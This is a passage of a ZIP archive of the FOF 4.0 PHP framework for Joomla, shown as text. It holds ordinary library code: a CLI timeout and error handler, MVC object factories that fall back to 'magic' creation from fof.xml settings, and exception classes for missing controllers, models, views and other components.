usually means that you pressed CTRL-C to terminate the script (if you're running it from a terminal / SSH session), or that your host's CRON daemon aborted the execution of this script. If you are running this script through a CRON job and saw this message, please contact your host and request an increase in the timeout limit for CRON jobs. Moreover you need to ask them to increase the max_execution_time in the php.ini file or, even better, set it to 0. END; } else { echo <<< END This script has timed out. As a result, the process has FAILED to complete. Your host applies a maximum execution time for CRON jobs which is too low for this script to work properly. Please contact your host and request an increase in the timeout limit for CRON jobs. Moreover you need to ask them to increase the max_execution_time in the php.ini file or, even better, set it to 0. END; if (!function_exists('php_ini_loaded_file')) { echo "\n\n"; return; } $ini_location = php_ini_loaded_file(); echo <<<END The php.ini file your host will need to modify is located at: $ini_location Info for the host: the location above is reported by PHP's php_ini_loaded_file() method. END; echo "\n\n"; exit(253); } } /** * Error handler. It tries to catch fatal errors and report them in a meaningful way. Obviously it only works for * catchable fatal errors. It sets the error level to 252. * * IMPORTANT! Under PHP 7 the default exception handler will be called instead, including when there is a non-catchable * fatal error. * * @param int $errno Error number * @param string $errstr Error string, tells us what went wrong * @param string $errfile Full path to file where the error occurred * @param int $errline Line number where the error occurred * * @return void */ function FOFCliErrorHandler($errno, $errstr, $errfile, $errline) { switch ($errno) { case E_ERROR: case E_USER_ERROR: echo "\n\n"; echo "********** ERROR! **********\n\n"; echo "PHP Fatal Error: $errstr"; echo "\n\nTechnical information:\n\n"; echo "File: " . $errfile . "\n"; echo "Line: " . $errline . "\n"; echo "\nStack Trace:\n\n" . debug_backtrace(); echo "\n\n"; exit(252); break; default: break; } } /** * Custom default handlers for otherwise unhandled exceptions and PHP catchable errors. * * Moreover, we register a shutdown function to catch timeouts and SIGTERM signals, because some hosts *are* monsters. */ set_exception_handler('FOFCliExceptionHandler'); set_error_handler('FOFCliErrorHandler', E_ERROR | E_USER_ERROR); register_shutdown_function('FOFCliTimeoutHandler');PK���\T��fof40/Factory/SwitchFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory; defined('_JEXEC') || die; use Exception; use FOF40\Controller\Controller; use FOF40\Dispatcher\Dispatcher; use FOF40\Factory\Exception\ControllerNotFound; use FOF40\Factory\Exception\DispatcherNotFound; use FOF40\Factory\Exception\ModelNotFound; use FOF40\Factory\Exception\ToolbarNotFound; use FOF40\Factory\Exception\TransparentAuthenticationNotFound; use FOF40\Factory\Exception\ViewNotFound; use FOF40\Model\Model; use FOF40\Toolbar\Toolbar; use FOF40\TransparentAuthentication\TransparentAuthentication; use FOF40\View\View; use FOF40\View\ViewTemplateFinder; /** * MVC object factory. This implements the advanced functionality, i.e. creating MVC objects only if the classes exist * in any component section (front-end, back-end). For example, if you're in the front-end and a Model class doesn't * exist there but does exist in the back-end then the back-end class will be returned. * * The Dispatcher and Toolbar will be created from default objects if specialised classes are not found in your application. */ class SwitchFactory extends BasicFactory implements FactoryInterface { /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller(string $viewName, array $config = []): Controller { try { return parent::controller($viewName, $config); } catch (ControllerNotFound $e) { } $controllerClass = $this->container->getNamespacePrefix('inverse') . 'Controller\\' . ucfirst($viewName); try { return $this->createController($controllerClass, $config); } catch (ControllerNotFound $e) { } $controllerClass = $this->container->getNamespacePrefix('inverse') . 'Controller\\' . ucfirst($this->container->inflector->singularize($viewName)); return $this->createController($controllerClass, $config); } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model(string $viewName, array $config = []): Model { try { return parent::model($viewName, $config); } catch (ModelNotFound $e) { } $modelClass = $this->container->getNamespacePrefix('inverse') . 'Model\\' . ucfirst($viewName); try { return $this->createModel($modelClass, $config); } catch (ModelNotFound $e) { $modelClass = $this->container->getNamespacePrefix('inverse') . 'Model\\' . ucfirst($this->container->inflector->singularize($viewName)); return $this->createModel($modelClass, $config); } } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view(string $viewName, $viewType = 'html', array $config = []): View { try { return parent::view($viewName, $viewType, $config); } catch (ViewNotFound $e) { } $viewClass = $this->container->getNamespacePrefix('inverse') . 'View\\' . ucfirst($viewName) . '\\' . ucfirst($viewType); try { return $this->createView($viewClass, $config); } catch (ViewNotFound $e) { $viewClass = $this->container->getNamespacePrefix('inverse') . 'View\\' . ucfirst($this->container->inflector->singularize($viewName)) . '\\' . ucfirst($viewType); return $this->createView($viewClass, $config); } } /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []): Dispatcher { $dispatcherClass = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Let's go on. } $dispatcherClass = $this->container->getNamespacePrefix('inverse') . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the default Dispatcher return new Dispatcher($this->container, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []): Toolbar { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'Toolbar\\Toolbar'; try { return $this->createToolbar($toolbarClass, $config); } catch (ToolbarNotFound $e) { // Not found. Let's go on. } $toolbarClass = $this->container->getNamespacePrefix('inverse') . 'Toolbar\\Toolbar'; try { return $this->createToolbar($toolbarClass, $config); } catch (ToolbarNotFound $e) { // Not found. Return the default Toolbar return new Toolbar($this->container, $config); } } /** * Creates a new TransparentAuthentication * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []): TransparentAuthentication { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Let's go on. } $toolbarClass = $this->container->getNamespacePrefix('inverse') . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the default TransparentAuthentication return new TransparentAuthentication($this->container, $config); } } /** * Creates a view template finder object for a specific View. * * The default configuration is: * Look for .php, .blade.php files; default layout "default"; no default sub-template; * look for both pluralised and singular views; fall back to the default layout without sub-template; * look for templates in both site and admin * * @param View $view The view this view template finder will be attached to * @param array $config Configuration variables for the object * * @return mixed * * @throws Exception */ public function viewFinder(View $view, array $config = []): ViewTemplateFinder { // Initialise the configuration with the default values $defaultConfig = [ 'extensions' => ['.php', '.blade.php'], 'defaultLayout' => 'default', 'defaultTpl' => '', 'strictView' => false, 'strictTpl' => false, 'strictLayout' => false, 'sidePrefix' => 'any', ]; $config = array_merge($defaultConfig, $config); return parent::viewFinder($view, $config); } } PK���\���(($fof40/Factory/MagicSwitchFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory; defined('_JEXEC') || die; use FOF40\Controller\Controller; use FOF40\Dispatcher\Dispatcher; use FOF40\Factory\Exception\ControllerNotFound; use FOF40\Factory\Exception\DispatcherNotFound; use FOF40\Factory\Exception\ModelNotFound; use FOF40\Factory\Exception\TransparentAuthenticationNotFound; use FOF40\Factory\Exception\ViewNotFound; use FOF40\Factory\Magic\DispatcherFactory; use FOF40\Factory\Magic\TransparentAuthenticationFactory; use FOF40\Model\Model; use FOF40\Toolbar\Toolbar; use FOF40\TransparentAuthentication\TransparentAuthentication; use FOF40\View\View; /** * Magic MVC object factory. This factory will "magically" create MVC objects even if the respective classes do not * exist, based on information in your fof.xml file. * * Note: This factory class will look for MVC objects in BOTH component sections (front-end, back-end), not just the one * you are currently running in. If no class is found a new object will be created magically. This is the same behaviour * as FOF 2.x. */ class MagicSwitchFactory extends SwitchFactory implements FactoryInterface { /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller(string $viewName, array $config = []): Controller { try { return parent::controller($viewName, $config); } catch (ControllerNotFound $e) { $magic = new Magic\ControllerFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($viewName, $config); } } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model(string $viewName, array $config = []): Model { try { return parent::model($viewName, $config); } catch (ModelNotFound $e) { $magic = new Magic\ModelFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($viewName, $config); } } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view(string $viewName, $viewType = 'html', array $config = []): View { try { return parent::view($viewName, $viewType, $config); } catch (ViewNotFound $e) { $magic = new Magic\ViewFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($viewName, $viewType, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []): Toolbar { $appConfig = $this->container->appConfig; $defaultConfig = [ 'useConfigurationFile' => true, 'renderFrontendButtons' => in_array($appConfig->get("views.*.config.renderFrontendButtons"), [ true, 'true', 'yes', 'on', 1, ]), 'renderFrontendSubmenu' => in_array($appConfig->get("views.*.config.renderFrontendSubmenu"), [ true, 'true', 'yes', 'on', 1, ]), ]; $config = array_merge($defaultConfig, $config); return parent::toolbar($config); } /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []): Dispatcher { $dispatcherClass = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Let's go on. } $dispatcherClass = $this->container->getNamespacePrefix('inverse') . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the magically created Dispatcher $magic = new DispatcherFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($config); } } /** * Creates a new TransparentAuthentication * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []): TransparentAuthentication { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Let's go on. } $toolbarClass = $this->container->getNamespacePrefix('inverse') . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the magically created TransparentAuthentication $magic = new TransparentAuthenticationFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($config); } } } PK���\5o55fof40/Factory/MagicFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory; defined('_JEXEC') || die; use FOF40\Controller\Controller; use FOF40\Dispatcher\Dispatcher; use FOF40\Factory\Exception\ControllerNotFound; use FOF40\Factory\Exception\DispatcherNotFound; use FOF40\Factory\Exception\ModelNotFound; use FOF40\Factory\Exception\TransparentAuthenticationNotFound; use FOF40\Factory\Exception\ViewNotFound; use FOF40\Factory\Magic\DispatcherFactory; use FOF40\Factory\Magic\TransparentAuthenticationFactory; use FOF40\Model\Model; use FOF40\Toolbar\Toolbar; use FOF40\TransparentAuthentication\TransparentAuthentication; use FOF40\View\View; /** * Magic MVC object factory. This factory will "magically" create MVC objects even if the respective classes do not * exist, based on information in your fof.xml file. * * Note: This factory class will ONLY look for MVC objects in the same component section (front-end, back-end) you are * currently running in. If they are not found a new one will be created magically. */ class MagicFactory extends BasicFactory implements FactoryInterface { /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller(string $viewName, array $config = []): Controller { try { return parent::controller($viewName, $config); } catch (ControllerNotFound $e) { $magic = new Magic\ControllerFactory($this->container); return $magic->make($viewName, $config); } } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model(string $viewName, array $config = []): Model { try { return parent::model($viewName, $config); } catch (ModelNotFound $e) { $magic = new Magic\ModelFactory($this->container); return $magic->make($viewName, $config); } } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view(string $viewName, $viewType = 'html', array $config = []): View { try { return parent::view($viewName, $viewType, $config); } catch (ViewNotFound $e) { $magic = new Magic\ViewFactory($this->container); return $magic->make($viewName, $viewType, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []): Toolbar { $appConfig = $this->container->appConfig; $defaultConfig = [ 'useConfigurationFile' => true, 'renderFrontendButtons' => in_array($appConfig->get("views.*.config.renderFrontendButtons"), [ true, 'true', 'yes', 'on', 1, ]), 'renderFrontendSubmenu' => in_array($appConfig->get("views.*.config.renderFrontendSubmenu"), [ true, 'true', 'yes', 'on', 1, ]), ]; $config = array_merge($defaultConfig, $config); return parent::toolbar($config); } public function dispatcher(array $config = []): Dispatcher { $dispatcherClass = $this->container->getNamespacePrefix() . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the magically created Dispatcher $magic = new DispatcherFactory($this->container); return $magic->make($config); } } /** * Creates a new TransparentAuthentication handler * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []): TransparentAuthentication { $authClass = $this->container->getNamespacePrefix() . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($authClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the magically created TA $magic = new TransparentAuthenticationFactory($this->container); return $magic->make($config); } } } PK���\|V�YY=fof40/Factory/Exception/TransparentAuthenticationNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class TransparentAuthenticationNotFound extends RuntimeException { public function __construct(string $taClass, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_TRANSPARENTAUTH_ERR_NOT_FOUND', $taClass); parent::__construct($message, $code, $previous); } } PK���\o�S ==(fof40/Factory/Exception/ViewNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ViewNotFound extends RuntimeException { public function __construct(string $viewClass, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_VIEW_ERR_NOT_FOUND', $viewClass); parent::__construct($message, $code, $previous); } } PK���\\K�CII+fof40/Factory/Exception/ToolbarNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ToolbarNotFound extends RuntimeException { public function __construct(string $toolbarClass, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_TOOLBAR_ERR_NOT_FOUND', $toolbarClass); parent::__construct($message, $code, $previous); } } PK���\H^KK.fof40/Factory/Exception/ControllerNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ControllerNotFound extends RuntimeException { public function __construct(string $controller, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_CONTROLLER_ERR_NOT_FOUND', $controller); parent::__construct($message, $code, $previous); } } PK���\pvUU.fof40/Factory/Exception/DispatcherNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class DispatcherNotFound extends RuntimeException { public function __construct(string $dispatcherClass, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_DISPATCHER_ERR_NOT_FOUND', $dispatcherClass); parent::__construct($message, $code, $previous); } } PK���\���AA)fof40/Factory/Exception/ModelNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class ModelNotFound extends RuntimeException { public function __construct(string $modelClass, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_NOT_FOUND', $modelClass); parent::__construct($message, $code, $previous); } } PK���\L'��1,1,fof40/Factory/BasicFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Controller\Controller; use FOF40\Dispatcher\Dispatcher; use FOF40\Factory\Exception\ControllerNotFound; use FOF40\Factory\Exception\DispatcherNotFound; use FOF40\Factory\Exception\ModelNotFound; use FOF40\Factory\Exception\ToolbarNotFound; use FOF40\Factory\Exception\TransparentAuthenticationNotFound; use FOF40\Factory\Exception\ViewNotFound; use FOF40\Model\Model; use FOF40\Toolbar\Toolbar; use FOF40\TransparentAuthentication\TransparentAuthentication; use FOF40\View\View; use FOF40\View\ViewTemplateFinder; use RuntimeException; /** * MVC object factory. This implements the basic functionality, i.e. creating MVC objects only if the classes exist in * the same component section (front-end, back-end) you are currently running in. The Dispatcher and Toolbar will be * created from default objects if specialised classes are not found in your application. */ class BasicFactory implements FactoryInterface { /** @var Container The container we belong to */ protected $container; /** * Section used to build the namespace prefix. We have to pass it since in CLI we need * to force the section we're in (ie Site or Admin). {@see \FOF40\Container\Container::getNamespacePrefix() } for * valid values * * @var string */ protected $section = 'auto'; /** * Public constructor for the factory object * * @param Container $container The container we belong to */ public function __construct(Container $container) { $this->container = $container; } /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller(string $viewName, array $config = []): Controller { $controllerClass = $this->container->getNamespacePrefix($this->getSection()) . 'Controller\\' . ucfirst($viewName); try { return $this->createController($controllerClass, $config); } catch (ControllerNotFound $e) { } $controllerClass = $this->container->getNamespacePrefix($this->getSection()) . 'Controller\\' . ucfirst($this->container->inflector->singularize($viewName)); return $this->createController($controllerClass, $config); } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model(string $viewName, array $config = []): Model { $modelClass = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\' . ucfirst($viewName); try { return $this->createModel($modelClass, $config); } catch (ModelNotFound $e) { } $modelClass = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\' . ucfirst($this->container->inflector->singularize($viewName)); return $this->createModel($modelClass, $config); } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view(string $viewName, $viewType = 'html', array $config = []): View { $container = $this->container; $prefix = $this->container->getNamespacePrefix($this->getSection()); $viewClass = $prefix . 'View\\' . ucfirst($viewName) . '\\' . ucfirst($viewType); try { return $this->createView($viewClass, $config); } catch (ViewNotFound $e) { } $viewClass = $prefix . 'View\\' . ucfirst($container->inflector->singularize($viewName)) . '\\' . ucfirst($viewType); return $this->createView($viewClass, $config); } /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []): Dispatcher { $dispatcherClass = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the default Dispatcher return new Dispatcher($this->container, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []): Toolbar { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'Toolbar\\Toolbar'; try { return $this->createToolbar($toolbarClass, $config); } catch (ToolbarNotFound $e) { // Not found. Return the default Toolbar return new Toolbar($this->container, $config); } } /** * Creates a new TransparentAuthentication handler * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []): TransparentAuthentication { $authClass = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($authClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the default TA return new TransparentAuthentication($this->container, $config); } } /** * Creates a view template finder object for a specific View * * The default configuration is: * Look for .php, .blade.php files; default layout "default"; no default sub-template; * look only for the specified view; do NOT fall back to the default layout or sub-template; * look for templates ONLY in site or admin, depending on where we're running from * * @param View $view The view this view template finder will be attached to * @param array $config Configuration variables for the object * * @return ViewTemplateFinder * * @throws Exception */ public function viewFinder(View $view, array $config = []): ViewTemplateFinder { // Initialise the configuration with the default values $defaultConfig = [ 'extensions' => ['.php', '.blade.php'], 'defaultLayout' => 'default', 'defaultTpl' => '', 'strictView' => true, 'strictTpl' => true, 'strictLayout' => true, 'sidePrefix' => 'auto', ]; $config = array_merge($defaultConfig, $config); // Apply fof.xml overrides $appConfig = $this->container->appConfig; $key = "views." . ucfirst($view->getName()) . ".config"; $fofXmlConfig = [ 'extensions' => $appConfig->get("$key.templateExtensions", $config['extensions']), 'strictView' => $appConfig->get("$key.templateStrictView", $config['strictView']), 'strictTpl' => $appConfig->get("$key.templateStrictTpl", $config['strictTpl']), 'strictLayout' => $appConfig->get("$key.templateStrictLayout", $config['strictLayout']), 'sidePrefix' => $appConfig->get("$key.templateLocation", $config['sidePrefix']), ]; $config = array_merge($config, $fofXmlConfig); // Create the new view template finder object return new ViewTemplateFinder($view, $config); } /** * @return string */ public function getSection(): string { return $this->section; } /** * @param string $section */ public function setSection(string $section): void { $this->section = $section; } /** * Creates a Controller object * * @param string $controllerClass The fully qualified class name for the Controller * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller * * @throws RuntimeException If the $controllerClass does not exist */ protected function createController(string $controllerClass, array $config = []): Controller { if (!class_exists($controllerClass)) { throw new ControllerNotFound($controllerClass); } return new $controllerClass($this->container, $config); } /** * Creates a Model object * * @param string $modelClass The fully qualified class name for the Model * @param array $config Optional MVC configuration values for the Model object. * * @return Model * * @throws RuntimeException If the $modelClass does not exist */ protected function createModel(string $modelClass, array $config = []): Model { if (!class_exists($modelClass)) { throw new ModelNotFound($modelClass); } return new $modelClass($this->container, $config); } /** * Creates a View object * * @param string $viewClass The fully qualified class name for the View * @param array $config Optional MVC configuration values for the View object. * * @return View * * @throws RuntimeException If the $viewClass does not exist */ protected function createView(string $viewClass, array $config = []): View { if (!class_exists($viewClass)) { throw new ViewNotFound($viewClass); } return new $viewClass($this->container, $config); } /** * Creates a Toolbar object * * @param string $toolbarClass The fully qualified class name for the Toolbar * @param array $config The configuration values for the Toolbar object * * @return Toolbar * * @throws RuntimeException If the $toolbarClass does not exist */ protected function createToolbar(string $toolbarClass, array $config = []): Toolbar { if (!class_exists($toolbarClass)) { throw new ToolbarNotFound($toolbarClass); } return new $toolbarClass($this->container, $config); } /** * Creates a Dispatcher object * * @param string $dispatcherClass The fully qualified class name for the Dispatcher * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher * * @throws RuntimeException If the $dispatcherClass does not exist */ protected function createDispatcher(string $dispatcherClass, array $config = []): Dispatcher { if (!class_exists($dispatcherClass)) { throw new DispatcherNotFound($dispatcherClass); } return new $dispatcherClass($this->container, $config); } /** * Creates a TransparentAuthentication object * * @param string $authClass The fully qualified class name for the TransparentAuthentication * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication * * @throws RuntimeException If the $authClass does not exist */ protected function createTransparentAuthentication(string $authClass, array $config): TransparentAuthentication { if (!class_exists($authClass)) { throw new TransparentAuthenticationNotFound($authClass); } return new $authClass($this->container, $config); } } PK���\�EZ��8fof40/Factory/Magic/TransparentAuthenticationFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Magic; defined('_JEXEC') || die; use FOF40\TransparentAuthentication\TransparentAuthentication; /** * Creates a TransparentAuthentication object instance based on the information provided by the fof.xml configuration * file */ class TransparentAuthenticationFactory extends BaseFactory { /** * Create a new object instance * * @param array $config The config parameters which override the fof.xml information * * @return TransparentAuthentication A new TransparentAuthentication object */ public function make(array $config = []): TransparentAuthentication { $appConfig = $this->container->appConfig; $defaultConfig = $appConfig->get('authentication.*'); $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\DefaultTransparentAuthentication'; if (!class_exists($className, true)) { $className = '\\FOF40\\TransparentAuthentication\\TransparentAuthentication'; } return new $className($this->container, $config); } } PK���\����VV$fof40/Factory/Magic/ModelFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Magic; defined('_JEXEC') || die; use FOF40\Factory\Exception\ModelNotFound; use FOF40\Model\DataModel; use FOF40\Model\TreeModel; /** * Creates a DataModel/TreeModel object instance based on the information provided by the fof.xml configuration file */ class ModelFactory extends BaseFactory { /** * Create a new object instance * * @param string $name The name of the class we're making * @param array $config The config parameters which override the fof.xml information * * @return TreeModel|DataModel A new TreeModel or DataModel object */ public function make(string $name = null, array $config = []): DataModel { if (empty($name)) { throw new ModelNotFound($name); } $appConfig = $this->container->appConfig; $name = ucfirst($name); $defaultConfig = [ 'name' => $name, 'use_populate' => $appConfig->get("models.$name.config.use_populate"), 'ignore_request' => $appConfig->get("models.$name.config.ignore_request"), 'tableName' => $appConfig->get("models.$name.config.tbl"), 'idFieldName' => $appConfig->get("models.$name.config.tbl_key"), 'knownFields' => $appConfig->get("models.$name.config.knownFields", null), 'autoChecks' => $appConfig->get("models.$name.config.autoChecks"), 'contentType' => $appConfig->get("models.$name.config.contentType"), 'fieldsSkipChecks' => $appConfig->get("models.$name.config.fieldsSkipChecks", []), 'aliasFields' => $appConfig->get("models.$name.field", []), 'behaviours' => $appConfig->get("models.$name.behaviors", []), 'fillable_fields' => $appConfig->get("models.$name.config.fillable_fields", []), 'guarded_fields' => $appConfig->get("models.$name.config.guarded_fields", []), 'relations' => $appConfig->get("models.$name.relations", []), ]; $config = array_merge($defaultConfig, $config); // Get the default class names $dataModelClassName = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\DefaultDataModel'; if (!class_exists($dataModelClassName, true)) { $dataModelClassName = '\\FOF40\\Model\\DataModel'; } $treeModelClassName = $this->container->getNamespacePrefix($this->getSection()) . 'Model\\DefaultTreeModel'; if (!class_exists($treeModelClassName, true)) { $treeModelClassName = '\\FOF40\\Model\\TreeModel'; } try { // First try creating a TreeModel $model = new $treeModelClassName($this->container, $config); } catch (DataModel\Exception\TreeIncompatibleTable $e) { // If the table isn't a nested set, create a regular DataModel $model = new $dataModelClassName($this->container, $config); } return $model; } } PK���\�Oy�GG)fof40/Factory/Magic/DispatcherFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Magic; defined('_JEXEC') || die; use FOF40\Dispatcher\Dispatcher; /** * Creates a Dispatcher object instance based on the information provided by the fof.xml configuration file */ class DispatcherFactory extends BaseFactory { /** * Create a new object instance * * @param array $config The config parameters which override the fof.xml information * * @return Dispatcher A new Dispatcher object */ public function make(array $config = []): Dispatcher { $appConfig = $this->container->appConfig; $defaultConfig = $appConfig->get('dispatcher.*'); $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\DefaultDispatcher'; if (!class_exists($className, true)) { $className = '\\FOF40\\Dispatcher\\Dispatcher'; } return new $className($this->container, $config); } } PK���\�_��)fof40/Factory/Magic/ControllerFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas 